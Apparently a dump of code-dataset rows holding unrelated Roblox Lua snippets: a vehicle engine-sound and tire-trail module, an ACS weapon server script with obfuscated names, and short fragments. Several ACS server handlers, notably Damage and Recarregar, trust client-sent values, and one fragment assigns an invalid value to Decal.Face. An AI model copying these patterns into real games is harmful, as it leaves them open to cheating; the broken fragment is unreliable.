if not audio[3] then
if engineHighSound then
audio[3] = generateAudioInfo(engineHighSound.SoundId, 4000, 3500, 9e9, engineHighSound.Volume, engineHighSound.PlaybackSpeed)
else
audio[2].MaxRPM = 9e9
end
end
end
local function createWheelData(wheelPart)
local attCenter = Instance.new("Attachment")
attCenter.Name = "EffectsCenter"
attCenter.Parent = self.attachmentContainer
local attRight = Instance.new("Attachment")
attRight.Name = "EffectsR"
attRight.Parent = self.attachmentContainer
local attLeft = Instance.new("Attachment")
attLeft.Name = "EffectsL"
attLeft.Parent = self.attachmentContainer
local trail = nil
local trailPrototype = effectsFolder:FindFirstChild("TireTrail")
if trailPrototype and trailPrototype:IsA("Trail") then
trail = trailPrototype:Clone()
trail.Parent = self.attachmentContainer
trail.Attachment0 = attLeft
trail.Attachment1 = attRight
end
local wheelData = {
wheel = wheelPart,
attCenter = attCenter,
attRight = attRight,
attLeft = attLeft,
trail = trail,
lastContact = 0,
}
return wheelData
end
self.wheels = {}
for _, suspension in ipairs(suspensions) do
local wheelPart = suspension:FindFirstChild("Wheel")
if wheelPart then
table.insert(self.wheels, createWheelData(wheelPart))
end
end
if #self.wheels == 0 then -- probably two-wheeler
local children = chassis:GetChildren()
for i = 1, #children do
if children[i].Name == "Wheel" then
table.insert(self.wheels, createWheelData(children[i]))
end
end
end
-- connect remote event
local vehicleSeat = Vehicle:WaitForChild("Chassis"):WaitForChild("VehicleSeat")
SetThrottleConnection = SetThrottleRemote.OnServerEvent:Connect(function(client, throttleState, gainMod)
-- verify client is driver
local occupant = vehicleSeat.Occupant
if occupant.Parent == client.Character then
self:SetThrottleEnabled(throttleState, gainMod)
end
end)
-- create sounds based off of what we have in the effects folder
createSounds()
local ignitionSound = effectsFolder:FindFirstChild("EngineStart")
if ignitionSound then
self.ignitionMaxVolume = ignitionSound.Volume
self.ignitionSound = ignitionSound:Clone()
self.ignitionSound.Parent = chassis.PrimaryPart
end
local stopSound = effectsFolder:FindFirstChild("EngineStop")
if stopSound then
self.stopSound = stopSound:Clone()
self.stopSound.Parent = chassis.PrimaryPart
end
local accelerateSound = effectsFolder:FindFirstChild("Accelerate")
if accelerateSound then
self.accelerateSoundVolume = accelerateSound.Volume
self.accelerateSoundWeight = 0
self.accelerateSound = accelerateSound:Clone()
self.accelerateSound.Parent = chassis.PrimaryPart
end
self.engineSoundWeight = 1
self.igniting = false
self.throttle = 0
self.slideSpeed = 0
self.disableTime = 0
self.active = false
return self
end
function Effects:Enable()
self.active = true
if #self.wheels > 0 then
self.disableTime = 0
if self.heartbeatConn then
self.heartbeatConn:Disconnect()
end
self.heartbeatConn = RunService.Heartbeat:Connect(function(dt)
self:OnHeartbeat(dt)
end)
if self.ignitionSound and not self.igniting then
self.igniting = true
coroutine.wrap(function()
if EngineSoundEnabled then
self.ignitionSound.Volume = self.ignitionMaxVolume
self.ignitionSound:Play()
repeat
RunService.Stepped:Wait()
until not (self.igniting and self.ignitionSound.IsPlaying)
end
self.igniting = false
end)()
end
for i = 1, #audio do
audio[i].Sound:Play()
end
end
end
function Effects:DisableInternal()
self.active = false
if self.heartbeatConn then
self.heartbeatConn:Disconnect()
end
self.heartbeatConn = nil
-- Disable sounds
for i = 1, #audio do
if audio[i].Sound then
audio[i].Sound:Stop()
end
end
if self.stopSound then self.stopSound:Play() end
if #self.wheels > 0 then
for _,wheelData in ipairs(self.wheels) do
wheelData.trail.Enabled = false
end
end
self.disableTime = 0
end
function Effects:Disable()
-- Request effects to be disabled soon (upon driver exiting vehicle)
if self.disableTime == 0 then
self.disableTime = tick() + EFFECTS_GRACE_PERIOD
end
end
function Effects:SetThrottleEnabled(toggle, gainMod)
if not EngineSoundEnabled then return end
-- sets whether RPM is building up or not for the engine. Not possible (as of yet) to have this correlate with actual torque put out by the wheel motors as the torque is not exposed (only the target torque)
-- must be called from the client, as input data isn't replicated elsewhere.
gainMod = gainMod or 1
gainModifier = gainMod
if RunService:IsClient() then
-- keep track of throttle state as to not spam the server with events
if toggle ~= throttleEnabled or tick()-lastThrottleUpdate > 1/THROTTLE_UPDATE_RATE then
lastThrottleUpdate = tick()
SetThrottleRemote:FireServer(toggle, gainMod)
throttleEnabled = toggle
end
else
if self.active then
throttleEnabled = toggle
else
throttleEnabled = false
end
end
end
function Effects:OnHeartbeat(dt)
if self.ignore.Parent == nil then
return
end
if self.disableTime > 0 and tick() > self.disableTime then
self:DisableInternal()
return
end
local hasGroundContact = true -- assume ground contact
if TireTrailEnabled then
for _, wheelData in ipairs(self.wheels) do
local wheel = wheelData.wheel
local madeContact = false
-- This 'sort-of' calculates whether the wheel is grounded.
for _, basePart in ipairs(wheel:GetTouchingParts()) do
if not basePart:IsDescendantOf(self.ignore) then
wheelData.lastContact = tick()
madeContact = true
break
end
end
hasGroundContact = madeContact
if tick() - wheelData.lastContact <= SLIDE_DEBOUNCE then
local radius = wheel.Size.Y / 2
local width = wheel.Size.X / 2
local wheelLeftCFrame = wheel.CFrame * CFrame.new(width, 0, 0) - Vector3.new(0, radius - SLIDE_MARK_OFFSET, 0)
local wheelRightCFrame = wheel.CFrame * CFrame.new(-width, 0, 0) - Vector3.new(0, radius - SLIDE_MARK_OFFSET, 0)
wheelData.attRight.WorldPosition = wheelRightCFrame.p
wheelData.attLeft.WorldPosition = wheelLeftCFrame.p
-- RotationalVelocity: Speed at the edge of the wheel from it rotating
-- HorizontalVelocity: Speed the wheel is actually moving at
-- SlideSpeed: The speed at which the wheel is sliding relative to its rotational velocity
local rotationalVelocity = radius * (self.base.CFrame:VectorToObjectSpace(wheel.RotVelocity)).X
local horizontalVelocity = self.base.CFrame:VectorToObjectSpace(wheel.Velocity).Z
local slideSpeed = math.abs(rotationalVelocity - horizontalVelocity)
local slipValue = slideSpeed / math.abs(rotationalVelocity)
local sliding = slipValue >= SLIDE_THRESHOLD
wheelData.trail.Enabled = sliding
else
wheelData.trail.Enabled = false
end
end
end
--Engine Sounds
if EngineSoundEnabled then
local constraints = self.ignore.Constraints:GetChildren()
local main = self.ignore.PrimaryPart
if not main then return end -- car probably fell off the map
local function getAvgAngularSpeed()
-- use the average angular speed of the wheels to guess how much torque is being generated by the engine
-- note: cannot get actual motor torque as a limitation of the roblox engine, thus this can't be completely accurate
-- when car is going uphill, there will be a noticeable difference.
local total = 0
local wheels = 0
for i = 1, #constraints do
if main then
if constraints[i]:IsA("CylindricalConstraint") then
-- use X axis rotational speed because rotational velocity is measured perpendicular to its linear axis
local forwardRotationalSpeed = math.abs(main.CFrame:vectorToObjectSpace(constraints[i].Attachment1.Parent.RotVelocity).X)
wheels = wheels+1
total = total+forwardRotationalSpeed
end
end
end
return total/wheels
end
if throttleEnabled and self.igniting then
self.igniting = false
-- quiet ignition sound so we can hear acceleration
if self.ignitionSound then
local tween = TweenService:Create(self.ignitionSound, engineStartTween, {Volume = 1})
tween:Play()
end
end
-- try to figure out a good weight for accleration sound
local weight = 1
if throttleEnabled then
--print("enginePower", enginePower)
if enginePower <= BASE_RPM+100 then
if not self.accelerateSound.Playing then
-- TODO: Determine why/how this is getting stuck on :RS
-- self.accelerateSound:Play()
end
end
if self.accelerateSound.Playing then
local baseThreshold = BASE_RPM+400
local blendThreshold = BASE_RPM+600
if enginePower <= baseThreshold then
weight = 0
self.accelerateSoundWeight = 1
elseif enginePower <= blendThreshold then -- blend engine with accleration
local dif = blendThreshold-enginePower
local maxDif = blendThreshold-baseThreshold
local blendPercentage = dif/maxDif
weight = 1-blendPercentage
self.accelerateSoundWeight = blendPercentage
--print(weight, self.accelerateSoundWeight)
else -- end sound
self.accelerateSoundWeight = 0
if self.accelerateSound.Playing then
self.accelerateSound:Stop()
end
end
end
end
self.accelerateSound.Volume = self.accelerateSoundVolume*self.accelerateSoundWeight
self.engineSoundWeight = weight
local targetAngularSpeed = math.abs(self.ignore.Constraints.MotorFL.AngularVelocity)
local currentAngularSpeed = getAvgAngularSpeed()
local forwardVector = main.CFrame.LookVector
local forwardFlatVector = Vector3.new(forwardVector.x, 0, forwardVector.z)
local elevationDot = forwardFlatVector:Dot(forwardVector)
local elevationAngle = math.acos(math.clamp(elevationDot, -1, 1)) -- not sure how that went over 1
-- add to the engine power by a factor of the sine of the elevation angle to make going uphill require more power
local movingAgainstGravity = main.Velocity.Y > 0
local gravityEffect = movingAgainstGravity and math.sin(2*math.min(elevationAngle,math.pi/4)) or 0
local accelerating = throttleEnabled
local maxDif = MAX_RPM-MAX_IDEAL_RPM
local baseRPMFromThrottle = (accelerating and BASE_RPM+(BASE_RPM*math.min(currentAngularSpeed/MAX_SPEED,1.5) + gravityEffect*maxDif) or BASE_RPM)
local maxRPM = math.clamp(MAX_IDEAL_RPM + gravityEffect*maxDif, MAX_IDEAL_RPM, MAX_RPM)
local targetRPM = accelerating and baseRPMFromThrottle + gainModifier*(maxRPM-baseRPMFromThrottle) or baseRPMFromThrottle
local dif = targetRPM-enginePower
local inclineGainEffect = gravityEffect*ENGINE_GAIN_ACCEL*3
local currentRPM = enginePower + dif*(accelerating and ENGINE_GAIN_ACCEL+inclineGainEffect or ENGINE_GAIN_DECCEL)*dt
enginePower = math.clamp(currentRPM, math.min(BASE_RPM,maxRPM), maxRPM)
for i = 1, #audio do
local audioInfo = audio[i]
local sound = audioInfo.Sound
local baseRPM, minRPM, maxRPM = audioInfo.RPM, audioInfo.MinRPM, audioInfo.MaxRPM
local volume
if currentRPM >= minRPM and currentRPM <= maxRPM then
volume = 1
elseif currentRPM < minRPM then
volume = 1 - ((minRPM - currentRPM) / (audioInfo.Crossover or RPM_CROSSOVER))
else
volume = 1 - ((currentRPM - maxRPM) / (audioInfo.Crossover or RPM_CROSSOVER))
end
volume = volume*self.engineSoundWeight
local playbackSpeed = (currentRPM / baseRPM) * audioInfo.PitchModification
sound.Volume = volume*audioInfo.Volume
sound.PlaybackSpeed = playbackSpeed
end
end
end
return Effects
|
-- Cosmetic bullet container |
local CosmeticBulletsFolder = workspace:FindFirstChild("CosmeticBulletsFolder") or Instance.new("Folder")
CosmeticBulletsFolder.Name = "CosmeticBulletsFolder"
CosmeticBulletsFolder.Parent = workspace
|
----------------------------------------------------------------------------- |
script.Parent.Humanoid.HealthChanged:Connect(function()
if script.Parent.Humanoid.Health <= 49 then
Instance.new("Decal", script.Parent.Torso)
script.Parent.Torso.Decal.Texture = "rbxassetid://502143714"
script.Parent.Torso.Decal.Face = Region3int16
end
end)
|
----------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------- |
local BulletModel = ACS_Storage.Server
game.Players.PlayerAdded:connect(function(SKP_001)
SKP_001.CharacterAppearanceLoaded:Connect(function(SKP_002)
for SKP_003, SKP_004 in pairs(Engine.Essential:GetChildren()) do
if SKP_004 then
local SKP_005 = SKP_004:clone()
SKP_005.Parent = SKP_001.PlayerGui
SKP_005.Disabled = false
end
end
if SKP_001.Character:FindFirstChild('Head') then
Evt.TeamTag:FireAllClients(SKP_001, SKP_002)
end
end)
SKP_001.Changed:connect(function()
Evt.TeamTag:FireAllClients(SKP_001)
end)
end)
function Weld(SKP_001, SKP_002, SKP_003, SKP_004)
local SKP_005 = Instance.new("Motor6D", SKP_001)
SKP_005.Part0 = SKP_001
SKP_005.Part1 = SKP_002
SKP_005.Name = SKP_001.Name
SKP_005.C0 = SKP_003 or SKP_001.CFrame:inverse() * SKP_002.CFrame
SKP_005.C1 = SKP_004 or CFrame.new()
return SKP_005
end
Evt.Recarregar.OnServerEvent:Connect(function(Player, StoredAmmo,Arma)
Arma.ACS_Modulo.Variaveis.StoredAmmo.Value = StoredAmmo
end)
Evt.Treino.OnServerEvent:Connect(function(Player, Vitima)
if Vitima.Parent:FindFirstChild("Saude") ~= nil then
local saude = Vitima.Parent.Saude
saude.Variaveis.HitCount.Value = saude.Variaveis.HitCount.Value + 1
end
end)
Evt.SVFlash.OnServerEvent:Connect(function(Player,Mode,Arma,Angle,Bright,Color,Range)
if ServerConfig.ReplicatedFlashlight then
Evt.SVFlash:FireAllClients(Player,Mode,Arma,Angle,Bright,Color,Range)
end
end)
Evt.SVLaser.OnServerEvent:Connect(function(Player,Position,Modo,Cor,Arma,IRmode)
if ServerConfig.ReplicatedLaser then
Evt.SVLaser:FireAllClients(Player,Position,Modo,Cor,Arma,IRmode)
end
--print(Player,Position,Modo,Cor)
end)
Evt.Breach.OnServerEvent:Connect(function(Player,Mode,BreachPlace,Pos,Norm,Hit)
if Mode == 1 then
Player.Character.Saude.Kit.BreachCharges.Value = Player.Character.Saude.Kit.BreachCharges.Value - 1
BreachPlace.Destroyed.Value = true
local C4 = Engine.FX.BreachCharge:Clone()
C4.Parent = BreachPlace.Destroyable
C4.Center.CFrame = CFrame.new(Pos, Pos + Norm) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))
C4.Center.Place:play()
local weld = Instance.new("WeldConstraint")
weld.Parent = C4
weld.Part0 = BreachPlace.Destroyable.Charge
weld.Part1 = C4.Center
wait(1)
C4.Center.Beep:play()
wait(4)
local Exp = Instance.new("Explosion")
Exp.BlastPressure = 0
Exp.BlastRadius = 0
Exp.DestroyJointRadiusPercent = 0
Exp.Position = C4.Center.Position
Exp.Parent = workspace
local S = Instance.new("Sound")
S.EmitterSize = 50
S.MaxDistance = 1500
S.SoundId = "rbxassetid://".. Explosion[math.random(1, 7)]
S.PlaybackSpeed = math.random(30,55)/40
S.Volume = 2
S.Parent = Exp
S.PlayOnRemove = true
S:Destroy()
--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
if SKP_002:IsA('Player') and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - C4.Center.Position).magnitude <= 15 then
local DistanceMultiplier = (((SKP_002.Character.Head.Position - C4.Center.Position).magnitude/25) - 1) * -1
local intensidade = DistanceMultiplier
local Tempo = 15 * DistanceMultiplier
Evt.Suppression:FireClient(SKP_002,2,intensidade,Tempo)
end
end ]]
Debris:AddItem(BreachPlace.Destroyable,0)
elseif Mode == 2 then
Player.Character.Saude.Kit.BreachCharges.Value = Player.Character.Saude.Kit.BreachCharges.Value - 1
BreachPlace.Destroyed.Value = true
local C4 = Engine.FX.BreachCharge:Clone()
C4.Parent = BreachPlace
C4.Center.CFrame = CFrame.new(Pos, Pos + Norm) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))
C4.Center.Place:play()
local weld = Instance.new("WeldConstraint")
weld.Parent = C4
weld.Part0 = BreachPlace.Door.Door
weld.Part1 = C4.Center
wait(1)
C4.Center.Beep:play()
wait(4)
local Exp = Instance.new("Explosion")
Exp.BlastPressure = 0
Exp.BlastRadius = 0
Exp.DestroyJointRadiusPercent = 0
Exp.Position = C4.Center.Position
Exp.Parent = workspace
local S = Instance.new("Sound")
S.EmitterSize = 50
S.MaxDistance = 1500
S.SoundId = "rbxassetid://".. Explosion[math.random(1, 7)]
S.PlaybackSpeed = math.random(30,55)/40
S.Volume = 2
S.Parent = Exp
S.PlayOnRemove = true
S:Destroy()
--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
if SKP_002:IsA('Player') and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - C4.Center.Position).magnitude <= 15 then
local DistanceMultiplier = (((SKP_002.Character.Head.Position - C4.Center.Position).magnitude/25) - 1) * -1
local intensidade = DistanceMultiplier
local Tempo = 15 * DistanceMultiplier
Evt.Suppression:FireClient(SKP_002,2,intensidade,Tempo)
end
end]]
Debris:AddItem(BreachPlace,0)
elseif Mode == 3 then
Player.Character.Saude.Kit.Fortifications.Value = Player.Character.Saude.Kit.Fortifications.Value - 1
BreachPlace.Fortified.Value = true
local C4 = Instance.new('Part')
C4.Parent = BreachPlace.Destroyable
C4.Size = Vector3.new(Hit.Size.X + .05,Hit.Size.Y + .05,Hit.Size.Z + 0.5)
C4.Material = Enum.Material.DiamondPlate
C4.Anchored = true
C4.CFrame = Hit.CFrame
local S = Engine.FX.FortFX:Clone()
S.PlaybackSpeed = math.random(30,55)/40
S.Volume = 1
S.Parent = C4
S.PlayOnRemove = true
S:Destroy()
end
end)
Evt.Hit.OnServerEvent:Connect(function(Player, Position, HitPart, Normal, Material, Settings)
Evt.Hit:FireAllClients(Player, Position, HitPart, Normal, Material, Settings)
if Settings.ExplosiveHit == true then
local Hitmark = Instance.new("Attachment")
Hitmark.CFrame = CFrame.new(Position, Position + Normal)
Hitmark.Parent = workspace.Terrain
Debris:AddItem(Hitmark, 5)
local Exp = Instance.new("Explosion")
Exp.BlastPressure = Settings.ExPressure
Exp.BlastRadius = Settings.ExpRadius
Exp.DestroyJointRadiusPercent = Settings.DestroyJointRadiusPercent
Exp.Position = Hitmark.Position
Exp.Parent = Hitmark
local S = Instance.new("Sound")
S.EmitterSize = 50
S.MaxDistance = 1500
S.SoundId = "rbxassetid://".. Explosion[math.random(1, 7)]
S.PlaybackSpeed = math.random(30,55)/40
S.Volume = 2
S.Parent = Exp
S.PlayOnRemove = true
S:Destroy()
Exp.Hit:connect(function(hitPart, partDistance)
local humanoid = hitPart.Parent and hitPart.Parent:FindFirstChild("Humanoid")
if humanoid then
local distance_factor = partDistance / Settings.ExpRadius -- get the distance as a value between 0 and 1
distance_factor = 1 - distance_factor -- flip the amount, so that lower == closer == more damage
if distance_factor > 0 then
humanoid:TakeDamage(Settings.ExplosionDamage*distance_factor) -- 0: no damage; 1: max damage
end
end
end)
end
--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
if SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - Hitmark.WorldPosition).magnitude <= Settings.SuppressMaxDistance then
local DistanceMultiplier = (((SKP_002.Character.Head.Position - Hitmark.WorldPosition).magnitude/Settings.SuppressMaxDistance) - 1) * -1
local intensidade = DistanceMultiplier
local Tempo = Settings.SuppressTime * DistanceMultiplier
Evt.Suppression:FireClient(SKP_002,1,intensidade,Tempo)
end
end ]]
end)
Evt.LauncherHit.OnServerEvent:Connect(function(Player, Position, HitPart, Normal)
Evt.LauncherHit:FireAllClients(Player, Position, HitPart, Normal)
end)
Evt.Whizz.OnServerEvent:Connect(function(Player, Vitima)
local Som = Instance.new('Sound')
Som.Parent = Vitima.PlayerGui
Som.SoundId = "rbxassetid://"..Whizz[math.random(1,4)]
Som.Volume = 2
Som:Play()
game.Debris:AddItem(Som, Som.TimeLength)
end)
Evt.ServerBullet.OnServerEvent:connect(function(Player, BulletCF, Tracer, Force, BSpeed, Direction, TracerColor,Ray_Ignore,BulletFlare,BulletFlareColor)
Evt.ServerBullet:FireAllClients(Player, BulletCF, Tracer, Force, BSpeed, Direction, TracerColor,Ray_Ignore,BulletFlare,BulletFlareColor)
end)
Evt.Equipar.OnServerEvent:Connect(function(Player,Arma)
local Torso = Player.Character:FindFirstChild('Torso')
local Head = Player.Character:FindFirstChild('Head')
local HumanoidRootPart = Player.Character:FindFirstChild('HumanoidRootPart')
if Player.Character:FindFirstChild('Holst' .. Arma.Name) then
Player.Character['Holst' .. Arma.Name]:Destroy()
end
local ServerGun = GunModelServer:FindFirstChild(Arma.Name):clone()
ServerGun.Name = 'S' .. Arma.Name
local Settings = require(Arma.ACS_Modulo.Variaveis:WaitForChild("Settings"))
Arma.ACS_Modulo.Variaveis.BType.Value = Settings.BulletType
AnimBase = Instance.new("Part", Player.Character)
AnimBase.FormFactor = "Custom"
AnimBase.CanCollide = false
AnimBase.Transparency = 1
AnimBase.Anchored = false
AnimBase.Name = "AnimBase"
AnimBase.Size = Vector3.new(0.1, 0.1, 0.1)
AnimBaseW = Instance.new("Motor6D")
AnimBaseW.Part0 = AnimBase
AnimBaseW.Part1 = Head
AnimBaseW.Parent = AnimBase
AnimBaseW.Name = "AnimBaseW"
RA = Player.Character['Right Arm']
LA = Player.Character['Left Arm']
RightS = Player.Character.Torso:WaitForChild("Right Shoulder")
LeftS = Player.Character.Torso:WaitForChild("Left Shoulder")
Right_Weld = Instance.new("Motor6D")
Right_Weld.Name = "RAW"
Right_Weld.Part0 = RA
Right_Weld.Part1 = AnimBase
Right_Weld.Parent = AnimBase
Right_Weld.C0 = Settings.RightArmPos
Player.Character.Torso:WaitForChild("Right Shoulder").Part1 = nil
Left_Weld = Instance.new("Motor6D")
Left_Weld.Name = "LAW"
Left_Weld.Part0 = LA
Left_Weld.Part1 = AnimBase
Left_Weld.Parent = AnimBase
Left_Weld.C0 = Settings.LeftArmPos
Player.Character.Torso:WaitForChild("Left Shoulder").Part1 = nil
ServerGun.Parent = Player.Character
for SKP_001, SKP_002 in pairs(ServerGun:GetChildren()) do
if SKP_002:IsA('BasePart') and SKP_002.Name ~= 'Grip' then
local SKP_003 = Instance.new('WeldConstraint')
SKP_003.Parent = SKP_002
SKP_003.Part0 = SKP_002
SKP_003.Part1 = ServerGun.Grip
end;
end
local SKP_004 = Instance.new('Motor6D')
SKP_004.Name = 'GripW'
SKP_004.Parent = ServerGun.Grip
SKP_004.Part0 = ServerGun.Grip
SKP_004.Part1 = Player.Character['Right Arm']
SKP_004.C1 = Settings.ServerGunPos
for L_74_forvar1, L_75_forvar2 in pairs(ServerGun:GetChildren()) do
if L_75_forvar2:IsA('BasePart') then
L_75_forvar2.Anchored = false
L_75_forvar2.CanCollide = false
end
end
end)
Evt.SilencerEquip.OnServerEvent:Connect(function(Player,Arma,Silencer)
local Arma = Player.Character['S' .. Arma.Name]
local Fire
if Silencer then
Arma.Silenciador.Transparency = 0
else
Arma.Silenciador.Transparency = 1
end
end)
Evt.Desequipar.OnServerEvent:Connect(function(Player,Arma,Settings)
if Settings.EnableHolster and Player.Character and Player.Character.Humanoid and Player.Character.Humanoid.Health > 0 then
if Player.Backpack:FindFirstChild(Arma.Name) then
local SKP_001 = GunModelServer:FindFirstChild(Arma.Name):clone()
SKP_001.PrimaryPart = SKP_001.Grip
SKP_001.Parent = Player.Character
SKP_001.Name = 'Holst' .. Arma.Name
for SKP_002, SKP_003 in pairs(SKP_001:GetDescendants()) do
if SKP_003:IsA('BasePart') and SKP_003.Name ~= 'Grip' then
Weld(SKP_003, SKP_001.Grip)
end
if SKP_003:IsA('BasePart') and SKP_003.Name == 'Grip' then
Weld(SKP_003, Player.Character[Settings.HolsterTo], CFrame.new(), Settings.HolsterPos)
end
end
for SKP_004, SKP_005 in pairs(SKP_001:GetDescendants()) do
if SKP_005:IsA('BasePart') then
SKP_005.Anchored = false
SKP_005.CanCollide = false
end
end
end
end
if Player.Character:FindFirstChild('S' .. Arma.Name) ~= nil then
Player.Character['S' .. Arma.Name]:Destroy()
Player.Character.AnimBase:Destroy()
end
if Player.Character.Torso:FindFirstChild("Right Shoulder") ~= nil then
Player.Character.Torso:WaitForChild("Right Shoulder").Part1 = Player.Character['Right Arm']
end
if Player.Character.Torso:FindFirstChild("Left Shoulder") ~= nil then
Player.Character.Torso:WaitForChild("Left Shoulder").Part1 = Player.Character['Left Arm']
end
if Player.Character.Torso:FindFirstChild("Neck") ~= nil then
Player.Character.Torso:WaitForChild("Neck").C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Player.Character.Torso:WaitForChild("Neck").C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
end
end)
Evt.Holster.OnServerEvent:Connect(function(Player,Arma)
if Player.Character:FindFirstChild('Holst' .. Arma.Name) then
Player.Character['Holst' .. Arma.Name]:Destroy()
end
end)
Evt.HeadRot.OnServerEvent:connect(function(Player, Rotacao, Offset, Equipado)
Evt.HeadRot:FireAllClients(Player, Rotacao, Offset, Equipado)
end)
local TS = game:GetService('TweenService')
Evt.Atirar.OnServerEvent:Connect(function(Player,FireRate,Anims,Arma)
Evt.Atirar:FireAllClients(Player,FireRate,Anims,Arma)
end)
Evt.Stance.OnServerEvent:Connect(function(Player,stance,Settings,Anims)
if Player.Character.Humanoid.Health > 0 and Player.Character.AnimBase:FindFirstChild("RAW") ~= nil and Player.Character.AnimBase:FindFirstChild("LAW") ~= nil then
local Right_Weld = Player.Character.AnimBase:WaitForChild("RAW")
local Left_Weld = Player.Character.AnimBase:WaitForChild("LAW")
if stance == 0 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Settings.RightArmPos} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Settings.LeftArmPos} ):Play()
elseif stance == 2 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightAim} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftAim} ):Play()
elseif stance == 1 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightHighReady} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftHighReady} ):Play()
elseif stance == -1 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightLowReady} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftLowReady} ):Play()
elseif stance == -2 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightPatrol} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftPatrol} ):Play()
elseif stance == 3 then
TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightSprint} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftSprint} ):Play()
end
end
end)
Evt.Damage.OnServerEvent:Connect(function(Player,VitimaHuman,Dano,DanoColete,DanoCapacete)
if VitimaHuman ~= nil then
if VitimaHuman.Parent:FindFirstChild("Saude") ~= nil then
local Colete = VitimaHuman.Parent.Saude.Protecao.VestVida
local Capacete = VitimaHuman.Parent.Saude.Protecao.HelmetVida
Colete.Value = Colete.Value - DanoColete
Capacete.Value = Capacete.Value - DanoCapacete
end
VitimaHuman:TakeDamage(Dano)
end
end)
Evt.CreateOwner.OnServerEvent:Connect(function(Player,VitimaHuman)
local c = Instance.new("ObjectValue")
c.Name = "creator"
c.Value = Player
game.Debris:AddItem(c, 3)
c.Parent = VitimaHuman
end)
|
--- Gets the text in the command bar text box |
function Window:GetEntryText()
return Entry.TextBox.Text:gsub("\t", "")
end
|
--[[
InvisibleLocalPlayer
Description: This simple script makes the first person character invisible.
]] | |
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 1 -- cooldown for use of the tool again
ZoneModelName = "Homing axes" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
-- Set the ImageLabel's content to the user thumbnail |
local imageLabel = script.Parent
imageLabel.Image = content
imageLabel.Size = UDim2.new(0.85, 0, 0.85, 0)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.